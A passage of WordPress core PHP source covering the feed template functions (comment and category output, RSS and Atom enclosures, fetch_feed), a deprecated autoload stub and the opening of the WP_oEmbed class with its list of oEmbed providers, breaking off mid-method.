	 *
	 * @param string $comment_permalink The current comment permalink.
	 */
	echo esc_url( apply_filters( 'comment_link', get_comment_link( $comment ) ) );
}

/**
 * Retrieves the current comment author for use in the feeds.
 *
 * @since 2.0.0
 *
 * @return string Comment Author.
 */
function get_comment_author_rss() {
	/**
	 * Filters the current comment author for use in a feed.
	 *
	 * @since 1.5.0
	 *
	 * @see get_comment_author()
	 *
	 * @param string $comment_author The current comment author.
	 */
	return apply_filters( 'comment_author_rss', get_comment_author() );
}

/**
 * Displays the current comment author in the feed.
 *
 * @since 1.0.0
 */
function comment_author_rss() {
	echo get_comment_author_rss();
}

/**
 * Displays the current comment content for use in the feeds.
 *
 * @since 1.0.0
 */
function comment_text_rss() {
	$comment_text = get_comment_text();
	/**
	 * Filters the current comment content for use in a feed.
	 *
	 * @since 1.5.0
	 *
	 * @param string $comment_text The content of the current comment.
	 */
	$comment_text = apply_filters( 'comment_text_rss', $comment_text );
	echo $comment_text;
}

/**
 * Retrieves all of the post categories, formatted for use in feeds.
 *
 * All of the categories for the current post in the feed loop, will be
 * retrieved and have feed markup added, so that they can easily be added to the
 * RSS2, Atom, or RSS1 and RSS0.91 RDF feeds.
 *
 * @since 2.1.0
 *
 * @param string $type Optional, default is the type returned by get_default_feed().
 * @return string All of the post categories for displaying in the feed.
 */
function get_the_category_rss( $type = null ) {
	if ( empty( $type ) ) {
		$type = get_default_feed();
	}
	$categories = get_the_category();
	$tags       = get_the_tags();
	$the_list   = '';
	$cat_names  = array();

	$filter = 'rss';
	if ( 'atom' === $type ) {
		$filter = 'raw';
	}

	if ( ! empty( $categories ) ) {
		foreach ( (array) $categories as $category ) {
			$cat_names[] = sanitize_term_field( 'name', $category->name, $category->term_id, 'category', $filter );
		}
	}

	if ( ! empty( $tags ) ) {
		foreach ( (array) $tags as $tag ) {
			$cat_names[] = sanitize_term_field( 'name', $tag->name, $tag->term_id, 'post_tag', $filter );
		}
	}

	$cat_names = array_unique( $cat_names );

	foreach ( $cat_names as $cat_name ) {
		if ( 'rdf' === $type ) {
			$the_list .= "\t\t<dc:subject><![CDATA[$cat_name]]></dc:subject>\n";
		} elseif ( 'atom' === $type ) {
			$the_list .= sprintf( '<category scheme="%1$s" term="%2$s" />', esc_attr( get_bloginfo_rss( 'url' ) ), esc_attr( $cat_name ) );
		} else {
			$the_list .= "\t\t<category><![CDATA[" . html_entity_decode( $cat_name, ENT_COMPAT, get_option( 'blog_charset' ) ) . "]]></category>\n";
		}
	}

	/**
	 * Filters all of the post categories for display in a feed.
	 *
	 * @since 1.2.0
	 *
	 * @param string $the_list All of the RSS post categories.
	 * @param string $type     Type of feed. Possible values include 'rss2', 'atom'.
	 *                         Default 'rss2'.
	 */
	return apply_filters( 'the_category_rss', $the_list, $type );
}

/**
 * Displays the post categories in the feed.
 *
 * @since 0.71
 *
 * @see get_the_category_rss() For better explanation.
 *
 * @param string $type Optional, default is the type returned by get_default_feed().
 */
function the_category_rss( $type = null ) {
	echo get_the_category_rss( $type );
}

/**
 * Displays the HTML type based on the blog setting.
 *
 * The two possible values are either 'xhtml' or 'html'.
 *
 * @since 2.2.0
 */
function html_type_rss() {
	$type = get_bloginfo( 'html_type' );
	if ( str_contains( $type, 'xhtml' ) ) {
		$type = 'xhtml';
	} else {
		$type = 'html';
	}
	echo $type;
}

/**
 * Displays the rss enclosure for the current post.
 *
 * Uses the global $post to check whether the post requires a password and if
 * the user has the password for the post. If not then it will return before
 * displaying.
 *
 * Also uses the function get_post_custom() to get the post's 'enclosure'
 * metadata field and parses the value to display the enclosure(s). The
 * enclosure(s) consist of enclosure HTML tag(s) with a URI and other
 * attributes.
 *
 * @since 1.5.0
 */
function rss_enclosure() {
	if ( post_password_required() ) {
		return;
	}

	foreach ( (array) get_post_custom() as $key => $val ) {
		if ( 'enclosure' === $key ) {
			foreach ( (array) $val as $enc ) {
				$enclosure = explode( "\n", $enc );

				// Only get the first element, e.g. 'audio/mpeg' from 'audio/mpeg mpga mp2 mp3'.
				$t    = preg_split( '/[ \t]/', trim( $enclosure[2] ) );
				$type = $t[0];

				/**
				 * Filters the RSS enclosure HTML link tag for the current post.
				 *
				 * @since 2.2.0
				 *
				 * @param string $html_link_tag The HTML link tag with a URI and other attributes.
				 */
				echo apply_filters( 'rss_enclosure', '<enclosure url="' . esc_url( trim( $enclosure[0] ) ) . '" length="' . absint( trim( $enclosure[1] ) ) . '" type="' . esc_attr( $type ) . '" />' . "\n" );
			}
		}
	}
}

/**
 * Displays the atom enclosure for the current post.
 *
 * Uses the global $post to check whether the post requires a password and if
 * the user has the password for the post. If not then it will return before
 * displaying.
 *
 * Also uses the function get_post_custom() to get the post's 'enclosure'
 * metadata field and parses the value to display the enclosure(s). The
 * enclosure(s) consist of link HTML tag(s) with a URI and other attributes.
 *
 * @since 2.2.0
 */
function atom_enclosure() {
	if ( post_password_required() ) {
		return;
	}

	foreach ( (array) get_post_custom() as $key => $val ) {
		if ( 'enclosure' === $key ) {
			foreach ( (array) $val as $enc ) {
				$enclosure = explode( "\n", $enc );

				$url    = '';
				$type   = '';
				$length = 0;

				$mimes = get_allowed_mime_types();

				// Parse URL.
				if ( isset( $enclosure[0] ) && is_string( $enclosure[0] ) ) {
					$url = trim( $enclosure[0] );
				}

				// Parse length and type.
				for ( $i = 1; $i <= 2; $i++ ) {
					if ( isset( $enclosure[ $i ] ) ) {
						if ( is_numeric( $enclosure[ $i ] ) ) {
							$length = trim( $enclosure[ $i ] );
						} elseif ( in_array( $enclosure[ $i ], $mimes, true ) ) {
							$type = trim( $enclosure[ $i ] );
						}
					}
				}

				$html_link_tag = sprintf(
					"<link href=\"%s\" rel=\"enclosure\" length=\"%d\" type=\"%s\" />\n",
					esc_url( $url ),
					esc_attr( $length ),
					esc_attr( $type )
				);

				/**
				 * Filters the atom enclosure HTML link tag for the current post.
				 *
				 * @since 2.2.0
				 *
				 * @param string $html_link_tag The HTML link tag with a URI and other attributes.
				 */
				echo apply_filters( 'atom_enclosure', $html_link_tag );
			}
		}
	}
}

/**
 * Determines the type of a string of data with the data formatted.
 *
 * Tell whether the type is text, HTML, or XHTML, per RFC 4287 section 3.1.
 *
 * In the case of WordPress, text is defined as containing no markup,
 * XHTML is defined as "well formed", and HTML as tag soup (i.e., the rest).
 *
 * Container div tags are added to XHTML values, per section 3.1.1.3.
 *
 * @link http://www.atomenabled.org/developers/syndication/atom-format-spec.php#rfc.section.3.1
 *
 * @since 2.5.0
 *
 * @param string $data Input string.
 * @return array array(type, value)
 */
function prep_atom_text_construct( $data ) {
	if ( ! str_contains( $data, '<' ) && ! str_contains( $data, '&' ) ) {
		return array( 'text', $data );
	}

	if ( ! function_exists( 'xml_parser_create' ) ) {
		trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );

		return array( 'html', "<![CDATA[$data]]>" );
	}

	$parser = xml_parser_create();
	xml_parse( $parser, '<div>' . $data . '</div>', true );
	$code = xml_get_error_code( $parser );
	xml_parser_free( $parser );
	unset( $parser );

	if ( ! $code ) {
		if ( ! str_contains( $data, '<' ) ) {
			return array( 'text', $data );
		} else {
			$data = "<div xmlns='http://www.w3.org/1999/xhtml'>$data</div>";
			return array( 'xhtml', $data );
		}
	}

	if ( ! str_contains( $data, ']]>' ) ) {
		return array( 'html', "<![CDATA[$data]]>" );
	} else {
		return array( 'html', htmlspecialchars( $data ) );
	}
}

/**
 * Displays Site Icon in atom feeds.
 *
 * @since 4.3.0
 *
 * @see get_site_icon_url()
 */
function atom_site_icon() {
	$url = get_site_icon_url( 32 );
	if ( $url ) {
		echo '<icon>' . convert_chars( $url ) . "</icon>\n";
	}
}

/**
 * Displays Site Icon in RSS2.
 *
 * @since 4.3.0
 */
function rss2_site_icon() {
	$rss_title = get_wp_title_rss();
	if ( empty( $rss_title ) ) {
		$rss_title = get_bloginfo_rss( 'name' );
	}

	$url = get_site_icon_url( 32 );
	if ( $url ) {
		echo '
<image>
	<url>' . convert_chars( $url ) . '</url>
	<title>' . $rss_title . '</title>
	<link>' . get_bloginfo_rss( 'url' ) . '</link>
	<width>32</width>
	<height>32</height>
</image> ' . "\n";
	}
}

/**
 * Returns the link for the currently displayed feed.
 *
 * @since 5.3.0
 *
 * @return string Correct link for the atom:self element.
 */
function get_self_link() {
	$host = parse_url( home_url() );
	return set_url_scheme( 'http://' . $host['host'] . wp_unslash( $_SERVER['REQUEST_URI'] ) );
}

/**
 * Displays the link for the currently displayed feed in a XSS safe way.
 *
 * Generate a correct link for the atom:self element.
 *
 * @since 2.5.0
 */
function self_link() {
	/**
	 * Filters the current feed URL.
	 *
	 * @since 3.6.0
	 *
	 * @see set_url_scheme()
	 * @see wp_unslash()
	 *
	 * @param string $feed_link The link for the feed with set URL scheme.
	 */
	echo esc_url( apply_filters( 'self_link', get_self_link() ) );
}

/**
 * Gets the UTC time of the most recently modified post from WP_Query.
 *
 * If viewing a comment feed, the time of the most recently modified
 * comment will be returned.
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @since 5.2.0
 *
 * @param string $format Date format string to return the time in.
 * @return string|false The time in requested format, or false on failure.
 */
function get_feed_build_date( $format ) {
	global $wp_query;

	$datetime          = false;
	$max_modified_time = false;
	$utc               = new DateTimeZone( 'UTC' );

	if ( ! empty( $wp_query ) && $wp_query->have_posts() ) {
		// Extract the post modified times from the posts.
		$modified_times = wp_list_pluck( $wp_query->posts, 'post_modified_gmt' );

		// If this is a comment feed, check those objects too.
		if ( $wp_query->is_comment_feed() && $wp_query->comment_count ) {
			// Extract the comment modified times from the comments.
			$comment_times = wp_list_pluck( $wp_query->comments, 'comment_date_gmt' );

			// Add the comment times to the post times for comparison.
			$modified_times = array_merge( $modified_times, $comment_times );
		}

		// Determine the maximum modified time.
		$datetime = date_create_immutable_from_format( 'Y-m-d H:i:s', max( $modified_times ), $utc );
	}

	if ( false === $datetime ) {
		// Fall back to last time any post was modified or published.
		$datetime = date_create_immutable_from_format( 'Y-m-d H:i:s', get_lastpostmodified( 'GMT' ), $utc );
	}

	if ( false !== $datetime ) {
		$max_modified_time = $datetime->format( $format );
	}

	/**
	 * Filters the date the last post or comment in the query was modified.
	 *
	 * @since 5.2.0
	 *
	 * @param string|false $max_modified_time Date the last post or comment was modified in the query, in UTC.
	 *                                        False on failure.
	 * @param string       $format            The date format requested in get_feed_build_date().
	 */
	return apply_filters( 'get_feed_build_date', $max_modified_time, $format );
}

/**
 * Returns the content type for specified feed type.
 *
 * @since 2.8.0
 *
 * @param string $type Type of feed. Possible values include 'rss', rss2', 'atom', and 'rdf'.
 * @return string Content type for specified feed type.
 */
function feed_content_type( $type = '' ) {
	if ( empty( $type ) ) {
		$type = get_default_feed();
	}

	$types = array(
		'rss'      => 'application/rss+xml',
		'rss2'     => 'application/rss+xml',
		'rss-http' => 'text/xml',
		'atom'     => 'application/atom+xml',
		'rdf'      => 'application/rdf+xml',
	);

	$content_type = ( ! empty( $types[ $type ] ) ) ? $types[ $type ] : 'application/octet-stream';

	/**
	 * Filters the content type for a specific feed type.
	 *
	 * @since 2.8.0
	 *
	 * @param string $content_type Content type indicating the type of data that a feed contains.
	 * @param string $type         Type of feed. Possible values include 'rss', rss2', 'atom', and 'rdf'.
	 */
	return apply_filters( 'feed_content_type', $content_type, $type );
}

/**
 * Builds SimplePie object based on RSS or Atom feed from URL.
 *
 * @since 2.8.0
 *
 * @param string|string[] $url URL of feed to retrieve. If an array of URLs, the feeds are merged
 *                             using SimplePie's multifeed feature.
 *                             See also {@link http://simplepie.org/wiki/faq/typical_multifeed_gotchas}
 * @return SimplePie|WP_Error SimplePie object on success or WP_Error object on failure.
 */
function fetch_feed( $url ) {
	if ( ! class_exists( 'SimplePie', false ) ) {
		require_once ABSPATH . WPINC . '/class-simplepie.php';
	}

	require_once ABSPATH . WPINC . '/class-wp-feed-cache-transient.php';
	require_once ABSPATH . WPINC . '/class-wp-simplepie-file.php';
	require_once ABSPATH . WPINC . '/class-wp-simplepie-sanitize-kses.php';

	$feed = new SimplePie();

	$feed->set_sanitize_class( 'WP_SimplePie_Sanitize_KSES' );
	/*
	 * We must manually overwrite $feed->sanitize because SimplePie's constructor
	 * sets it before we have a chance to set the sanitization class.
	 */
	$feed->sanitize = new WP_SimplePie_Sanitize_KSES();

	// Register the cache handler using the recommended method for SimplePie 1.3 or later.
	if ( method_exists( 'SimplePie_Cache', 'register' ) ) {
		SimplePie_Cache::register( 'wp_transient', 'WP_Feed_Cache_Transient' );
		$feed->set_cache_location( 'wp_transient' );
	} else {
		// Back-compat for SimplePie 1.2.x.
		require_once ABSPATH . WPINC . '/class-wp-feed-cache.php';
		$feed->set_cache_class( 'WP_Feed_Cache' );
	}

	$feed->set_file_class( 'WP_SimplePie_File' );

	$feed->set_feed_url( $url );
	/** This filter is documented in wp-includes/class-wp-feed-cache-transient.php */
	$feed->set_cache_duration( apply_filters( 'wp_feed_cache_transient_lifetime', 12 * HOUR_IN_SECONDS, $url ) );

	/**
	 * Fires just before processing the SimplePie feed object.
	 *
	 * @since 3.0.0
	 *
	 * @param SimplePie       $feed SimplePie feed object (passed by reference).
	 * @param string|string[] $url  URL of feed or array of URLs of feeds to retrieve.
	 */
	do_action_ref_array( 'wp_feed_options', array( &$feed, $url ) );

	$feed->init();
	$feed->set_output_encoding( get_option( 'blog_charset' ) );

	if ( $feed->error() ) {
		return new WP_Error( 'simplepie-error', $feed->error() );
	}

	return $feed;
}
<?php
/**
 * Polyfill for SPL autoload feature. This file is separate to prevent compiler notices
 * on the deprecated __autoload() function.
 *
 * See https://core.trac.wordpress.org/ticket/41134
 *
 * @deprecated 5.3.0 No longer needed as the minimum PHP requirement has moved beyond PHP 5.3.
 *
 * @package PHP
 * @access private
 */

_deprecated_file( basename( __FILE__ ), '5.3.0', '', 'SPL can no longer be disabled as of PHP 5.3.' );
<?php
/**
 * API for fetching the HTML to embed remote content based on a provided URL
 *
 * Used internally by the WP_Embed class, but is designed to be generic.
 *
 * @link https://wordpress.org/documentation/article/embeds/
 * @link http://oembed.com/
 *
 * @package WordPress
 * @subpackage oEmbed
 */

/**
 * Core class used to implement oEmbed functionality.
 *
 * @since 2.9.0
 */
#[AllowDynamicProperties]
class WP_oEmbed {

	/**
	 * A list of oEmbed providers.
	 *
	 * @since 2.9.0
	 * @var array
	 */
	public $providers = array();

	/**
	 * A list of an early oEmbed providers.
	 *
	 * @since 4.0.0
	 * @var array
	 */
	public static $early_providers = array();

	/**
	 * A list of private/protected methods, used for backward compatibility.
	 *
	 * @since 4.2.0
	 * @var array
	 */
	private $compat_methods = array( '_fetch_with_format', '_parse_json', '_parse_xml', '_parse_xml_body' );

	/**
	 * Constructor.
	 *
	 * @since 2.9.0
	 */
	public function __construct() {
		$host      = urlencode( home_url() );
		$providers = array(
			'#https?://((m|www)\.)?youtube\.com/watch.*#i' => array( 'https://www.youtube.com/oembed', true ),
			'#https?://((m|www)\.)?youtube\.com/playlist.*#i' => array( 'https://www.youtube.com/oembed', true ),
			'#https?://((m|www)\.)?youtube\.com/shorts/*#i' => array( 'https://www.youtube.com/oembed', true ),
			'#https?://((m|www)\.)?youtube\.com/live/*#i'  => array( 'https://www.youtube.com/oembed', true ),
			'#https?://youtu\.be/.*#i'                     => array( 'https://www.youtube.com/oembed', true ),
			'#https?://(.+\.)?vimeo\.com/.*#i'             => array( 'https://vimeo.com/api/oembed.{format}', true ),
			'#https?://(www\.)?dailymotion\.com/.*#i'      => array( 'https://www.dailymotion.com/services/oembed', true ),
			'#https?://dai\.ly/.*#i'                       => array( 'https://www.dailymotion.com/services/oembed', true ),
			'#https?://(www\.)?flickr\.com/.*#i'           => array( 'https://www.flickr.com/services/oembed/', true ),
			'#https?://flic\.kr/.*#i'                      => array( 'https://www.flickr.com/services/oembed/', true ),
			'#https?://(.+\.)?smugmug\.com/.*#i'           => array( 'https://api.smugmug.com/services/oembed/', true ),
			'#https?://(www\.)?scribd\.com/(doc|document)/.*#i' => array( 'https://www.scribd.com/services/oembed', true ),
			'#https?://wordpress\.tv/.*#i'                 => array( 'https://wordpress.tv/oembed/', true ),
			'#https?://(.+\.)?crowdsignal\.net/.*#i'       => array( 'https://api.crowdsignal.com/oembed', true ),
			'#https?://(.+\.)?polldaddy\.com/.*#i'         => array( 'https://api.crowdsignal.com/oembed', true ),
			'#https?://poll\.fm/.*#i'                      => array( 'https://api.crowdsignal.com/oembed', true ),
			'#https?://(.+\.)?survey\.fm/.*#i'             => array( 'https://api.crowdsignal.com/oembed', true ),
			'#https?://(www\.)?twitter\.com/\w{1,15}/status(es)?/.*#i' => array( 'https://publish.twitter.com/oembed', true ),
			'#https?://(www\.)?twitter\.com/\w{1,15}$#i'   => array( 'https://publish.twitter.com/oembed', true ),
			'#https?://(www\.)?twitter\.com/\w{1,15}/likes$#i' => array( 'https://publish.twitter.com/oembed', true ),
			'#https?://(www\.)?twitter\.com/\w{1,15}/lists/.*#i' => array( 'https://publish.twitter.com/oembed', true ),
			'#https?://(www\.)?twitter\.com/\w{1,15}/timelines/.*#i' => array( 'https://publish.twitter.com/oembed', true ),
			'#https?://(www\.)?twitter\.com/i/moments/.*#i' => array( 'https://publish.twitter.com/oembed', true ),
			'#https?://(www\.)?soundcloud\.com/.*#i'       => array( 'https://soundcloud.com/oembed', true ),
			'#https?://(.+?\.)?slideshare\.net/.*#i'       => array( 'https://www.slideshare.net/api/oembed/2', true ),
			'#https?://(open|play)\.spotify\.com/.*#i'     => array( 'https://embed.spotify.com/oembed/', true ),
			'#https?://(.+\.)?imgur\.com/.*#i'             => array( 'https://api.imgur.com/oembed', true ),
			'#https?://(www\.)?issuu\.com/.+/docs/.+#i'    => array( 'https://issuu.com/oembed_wp', true ),
			'#https?://(www\.)?mixcloud\.com/.*#i'         => array( 'https://app.mixcloud.com/oembed/', true ),
			'#https?://(www\.|embed\.)?ted\.com/talks/.*#i' => array( 'https://www.ted.com/services/v1/oembed.{format}', true ),
			'#https?://(www\.)?(animoto|video214)\.com/play/.*#i' => array( 'https://animoto.com/oembeds/create', true ),
			'#https?://(.+)\.tumblr\.com/.*#i'             => array( 'https://www.tumblr.com/oembed/1.0', true ),
			'#https?://(www\.)?kickstarter\.com/projects/.*#i' => array( 'https://www.kickstarter.com/services/oembed', true ),
			'#https?://kck\.st/.*#i'                       => array( 'https://www.kickstarter.com/services/oembed', true ),
			'#https?://cloudup\.com/.*#i'                  => array( 'https://cloudup.com/oembed', true ),
			'#https?://(www\.)?reverbnation\.com/.*#i'     => array( 'https://www.reverbnation.com/oembed', true ),
			'#https?://videopress\.com/v/.*#'              => array( 'https://public-api.wordpress.com/oembed/?for=' . $host, true ),
			'#https?://(www\.)?reddit\.com/r/[^/]+/comments/.*#i' => array( 'https://www.reddit.com/oembed', true ),
			'#https?://(www\.)?speakerdeck\.com/.*#i'      => array( 'https://speakerdeck.com/oembed.{format}', true ),
			'#https?://(www\.)?screencast\.com/.*#i'       => array( 'https://api.screencast.com/external/oembed', true ),
			'#https?://([a-z0-9-]+\.)?amazon\.(com|com\.mx|com\.br|ca)/.*#i' => array( 'https://read.amazon.com/kp/api/oembed', true ),
			'#https?://([a-z0-9-]+\.)?amazon\.(co\.uk|de|fr|it|es|in|nl|ru)/.*#i' => array( 'https://read.amazon.co.uk/kp/api/oembed', true ),
			'#https?://([a-z0-9-]+\.)?amazon\.(co\.jp|com\.au)/.*#i' => array( 'https://read.amazon.com.au/kp/api/oembed', true ),
			'#https?://([a-z0-9-]+\.)?amazon\.cn/.*#i'     => array( 'https://read.amazon.cn/kp/api/oembed', true ),
			'#https?://(www\.)?a\.co/.*#i'                 => array( 'https://read.amazon.com/kp/api/oembed', true ),
			'#https?://(www\.)?amzn\.to/.*#i'              => array( 'https://read.amazon.com/kp/api/oembed', true ),
			'#https?://(www\.)?amzn\.eu/.*#i'              => array( 'https://read.amazon.co.uk/kp/api/oembed', true ),
			'#https?://(www\.)?amzn\.in/.*#i'              => array( 'https://read.amazon.in/kp/api/oembed', true ),
			'#https?://(www\.)?amzn\.asia/.*#i'            => array( 'https://read.amazon.com.au/kp/api/oembed', true ),
			'#https?://(www\.)?z\.cn/.*#i'                 => array( 'https://read.amazon.cn/kp/api/oembed', true ),
			'#https?://www\.someecards\.com/.+-cards/.+#i' => array( 'https://www.someecards.com/v2/oembed/', true ),
			'#https?://www\.someecards\.com/usercards/viewcard/.+#i' => array( 'https://www.someecards.com/v2/oembed/', true ),
			'#https?://some\.ly\/.+#i'                     => array( 'https://www.someecards.com/v2/oembed/', true ),
			'#https?://(www\.)?tiktok\.com/.*/video/.*#i'  => array( 'https://www.tiktok.com/oembed', true ),
			'#https?://(www\.)?tiktok\.com/@.*#i'          => array( 'https://www.tiktok.com/oembed', true ),
			'#https?://([a-z]{2}|www)\.pinterest\.com(\.(au|mx))?/.*#i' => array( 'https://www.pinterest.com/oembed.json', true ),
			'#https?://(www\.)?wolframcloud\.com/obj/.+#i' => array( 'https://www.wolframcloud.com/oembed', true ),
			'#https?://pca\.st/.+#i'                       => array( 'https://pca.st/oembed.json', true ),
			'#https?://((play|www)\.)?anghami\.com/.*#i'   => array( 'https://api.anghami.com/rest/v1/oembed.view', true ),
		);

		if ( ! empty( self::$early_providers['add'] ) ) {
			foreach ( self::$early_providers['add'] as $format => $data ) {
				$providers[ $format ] = $data;
			}
		}

		if ( ! empty( self::$early_providers['remove'] ) ) {
			foreach ( self::$early_providers['remove'] as $format ) {
				unset( $providers[ $format ] );
			}
		}

		self::$early_providers = array();

		/**
		 * Filters the list of sanctioned oEmbed providers.
		 *
		 * Since WordPress 4.4, oEmbed discovery is enabled for all users and allows embedding of sanitized
		 * iframes. The providers in this list are sanctioned, meaning they are trusted and allowed to
		 * embed any content, such as iframes, videos, JavaScript, and arbitrary HTML.
		 *
		 * Supported providers:
		 *
		 * |   Provider   |                     Flavor                |  Since  |
		 * | ------------ | ----------------------------------------- | ------- |
		 * | Dailymotion  | dailymotion.com                           | 2.9.0   |
		 * | Flickr       | flickr.com                                | 2.9.0   |
		 * | Scribd       | scribd.com                                | 2.9.0   |
		 * | Vimeo        | vimeo.com                                 | 2.9.0   |
		 * | WordPress.tv | wordpress.tv                              | 2.9.0   |
		 * | YouTube      | youtube.com/watch                         | 2.9.0   |
		 * | Crowdsignal  | polldaddy.com                             | 3.0.0   |
		 * | SmugMug      | smugmug.com                               | 3.0.0   |
		 * | YouTube      | youtu.be                                  | 3.0.0   |
		 * | Twitter      | twitter.com                               | 3.4.0   |
		 * | Slideshare   | slideshare.net                            | 3.5.0   |
		 * | SoundCloud   | soundcloud.com                            | 3.5.0   |
		 * | Dailymotion  | dai.ly                                    | 3.6.0   |
		 * | Flickr       | flic.kr                                   | 3.6.0   |
		 * | Spotify      | spotify.com                               | 3.6.0   |
		 * | Imgur        | imgur.com                                 | 3.9.0   |
		 * | Animoto      | animoto.com                               | 4.0.0   |
		 * | Animoto      | video214.com                              | 4.0.0   |
		 * | Issuu        | issuu.com                                 | 4.0.0   |
		 * | Mixcloud     | mixcloud.com                              | 4.0.0   |
		 * | Crowdsignal  | poll.fm                                   | 4.0.0   |
		 * | TED          | ted.com                                   | 4.0.0   |
		 * | YouTube      | youtube.com/playlist                      | 4.0.0   |
		 * | Tumblr       | tumblr.com                                | 4.2.0   |
		 * | Kickstarter  | kickstarter.com                           | 4.2.0   |
		 * | Kickstarter  | kck.st                                    | 4.2.0   |
		 * | Cloudup      | cloudup.com                               | 4.3.0   |
		 * | ReverbNation | reverbnation.com                          | 4.4.0   |
		 * | VideoPress   | videopress.com                            | 4.4.0   |
		 * | Reddit       | reddit.com                                | 4.4.0   |
		 * | Speaker Deck | speakerdeck.com                           | 4.4.0   |
		 * | Twitter      | twitter.com/timelines                     | 4.5.0   |
		 * | Twitter      | twitter.com/moments                       | 4.5.0   |
		 * | Twitter      | twitter.com/user                          | 4.7.0   |
		 * | Twitter      | twitter.com/likes                         | 4.7.0   |
		 * | Twitter      | twitter.com/lists                         | 4.7.0   |
		 * | Screencast   | screencast.com                            | 4.8.0   |
		 * | Amazon       | amazon.com (com.mx, com.br, ca)           | 4.9.0   |
		 * | Amazon       | amazon.de (fr, it, es, in, nl, ru, co.uk) | 4.9.0   |
		 * | Amazon       | amazon.co.jp (com.au)                     | 4.9.0   |
		 * | Amazon       | amazon.cn                                 | 4.9.0   |
		 * | Amazon       | a.co                                      | 4.9.0   |
		 * | Amazon       | amzn.to (eu, in, asia)                    | 4.9.0   |
		 * | Amazon       | z.cn                                      | 4.9.0   |
		 * | Someecards   | someecards.com                            | 4.9.0   |
		 * | Someecards   | some.ly                                   | 4.9.0   |
		 * | Crowdsignal  | survey.fm                                 | 5.1.0   |
		 * | TikTok       | tiktok.com                                | 5.4.0   |
		 * | Pinterest    | pinterest.com                             | 5.9.0   |
		 * | WolframCloud | wolframcloud.com                          | 5.9.0   |
		 * | Pocket Casts | pocketcasts.com                           | 6.1.0   |
		 * | Crowdsignal  | crowdsignal.net                           | 6.2.0   |
		 * | Anghami      | anghami.com                               | 6.3.0   |
		 *
		 * No longer supported providers:
		 *
		 * |   Provider   |        Flavor        |   Since   |  Removed  |
		 * | ------------ | -------------------- | --------- | --------- |
		 * | Qik          | qik.com              | 2.9.0     | 3.9.0     |
		 * | Viddler      | viddler.com          | 2.9.0     | 4.0.0     |
		 * | Revision3    | revision3.com        | 2.9.0     | 4.2.0     |
		 * | Blip         | blip.tv              | 2.9.0     | 4.4.0     |
		 * | Rdio         | rdio.com             | 3.6.0     | 4.4.1     |
		 * | Rdio         | rd.io                | 3.6.0     | 4.4.1     |
		 * | Vine         | vine.co              | 4.1.0     | 4.9.0     |
		 * | Photobucket  | photobucket.com      | 2.9.0     | 5.1.0     |
		 * | Funny or Die | funnyordie.com       | 3.0.0     | 5.1.0     |
		 * | CollegeHumor | collegehumor.com     | 4.0.0     | 5.3.1     |
		 * | Hulu         | hulu.com             | 2.9.0     | 5.5.0     |
		 * | Instagram    | instagram.com        | 3.5.0     | 5.5.2     |
		 * | Instagram    | instagr.am           | 3.5.0     | 5.5.2     |
		 * | Instagram TV | instagram.com        | 5.1.0     | 5.5.2     |
		 * | Instagram TV | instagr.am           | 5.1.0     | 5.5.2     |
		 * | Facebook     | facebook.com         | 4.7.0     | 5.5.2     |
		 * | Meetup.com   | meetup.com           | 3.9.0     | 6.0.1     |
		 * | Meetup.com   | meetu.ps             | 3.9.0     | 6.0.1     |
		 *
		 * @see wp_oembed_add_provider()
		 *
		 * @since 2.9.0
		 *
		 * @param array[] $providers An array of arrays containing data about popular oEmbed providers.
		 */
		$this->providers = apply_filters( 'oembed_providers', $providers );

		// Fix any embeds that contain new lines in the middle of the HTML which breaks wpautop().
		add_filter( 'oembed_dataparse', array( $this, '_strip_newlines' ), 10, 3 );
	}

	/**
	 * Exposes private/protected methods for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name      Method to call.
	 * @param array  $arguments Arguments to pass when calling.
	 * @return mixed|false Return value of the callback, false otherwise.
	 */
	public function __call( $name, $arguments ) {
		if ( in_array( $name, $this->compat_methods, true ) ) {
			return $this->$name( ...$arguments );
		}

		return false;
	}

	/**
	 * Takes a URL and returns the corresponding oEmbed provider's URL, if there is one.
	 *
	 * @since 4.0.0
	 *
	 * @see WP_oEmbed::discover()
	 *
	 * @param string       $url  The URL to the content.
	 * @param string|array $args {
	 *     Optional. Additional provider arguments. Default empty.
	 *
	 *     @type bool $discover Optional. Determines whether to attempt to discover link tags
	 *                          at the given URL for an oEmbed provider when the provider URL
	 *                          is not found in the built-in providers list. Default true.
	 * }
	 * @return string|false The oEmbed provider URL on success, false on failure.
	 */
	public function get_provider( $url, $args = '' ) {
		$args = wp_parse_args( $args );

		$provider = false;

		if ( ! isset( $args['discover'] ) ) {
			$args['discover'] = true;
		}

		foreach ( $this->providers as $matchmask => $data ) {
			list( $providerurl, $regex ) = $data;

			// Turn the asterisk-type provider URLs into regex.
			if ( ! $regex ) {
				$matchmask = '#' . str_replace( '___wildcard___', '(.+)', preg_quote( str_replace( '*', '___wildcard___', $matchmask ), '#' ) ) . '#i';
				$matchmask = preg_replace( '|^#http\\\://|', '#https?\://', $matchmask );
			}

			if ( preg_match( $matchmask, $url ) ) {
				$provider = str_replace( '{format}', 'json', $providerurl ); // JSON is easier to deal with than XML.
				break;
			}
		}

		if ( ! $provider && $args['discover'] ) {
			$provider = $this->discover( $url );
		}

		return $provider;
	}

	/**
	 * Adds an oEmbed provider.
	 *
	 * The provider is added just-in-time when wp_oembed_add_provider() is called before
	 * the {@see 'plugins_loaded'} hook.
	 *
	 * The just-in-time addition is for the benefit of the {@see 'oembed_providers'} filter.
	 *
	 * @since 4.0.0
	 *
	 * @see wp_oembed_add_provider()
	 *
	 * @param string $format   Format of URL that this provider can handle. You can use
	 *                         asterisks as wildcards.
	 * @param string $provider The URL to the oEmbed provider..
	 * @param bool   $regex    Optional. Whether the $format parameter is in a regex format.
	 *                         Default false.
	 */
	public static function _add_provider_early( $format, $provider, $regex = false ) {
		if ( empty( self::$early_providers['add'] ) ) {
			self::$early_providers['add'] = array();
		}

		self::$early_providers['add'][ $format ] = array( $provider, $regex );
	}

	/**
	 * Removes an oEmbed provider.
	 *
	 * The provider is removed just-in-time when wp_oembed_remove_provider() is called before
	 * the {@see 'plugins_loaded'} hook.
	 *
	 * The just-in-time removal is for the benefit of the {@see 'oembed_providers'} filter.
	 *
	 * @since 4.0.0
	 *
	 * @see wp_oembed_remove_provider()
	 *
	 * @param string $format The format of URL that this provider can handle. You can use
	 *                       asterisks as wildcards.
	 */
	public static function _remove_provider_early( $format ) {
		if ( empty( self::$early_providers['remove'] ) ) {
			self::$early_providers['remove'] = array();
		}

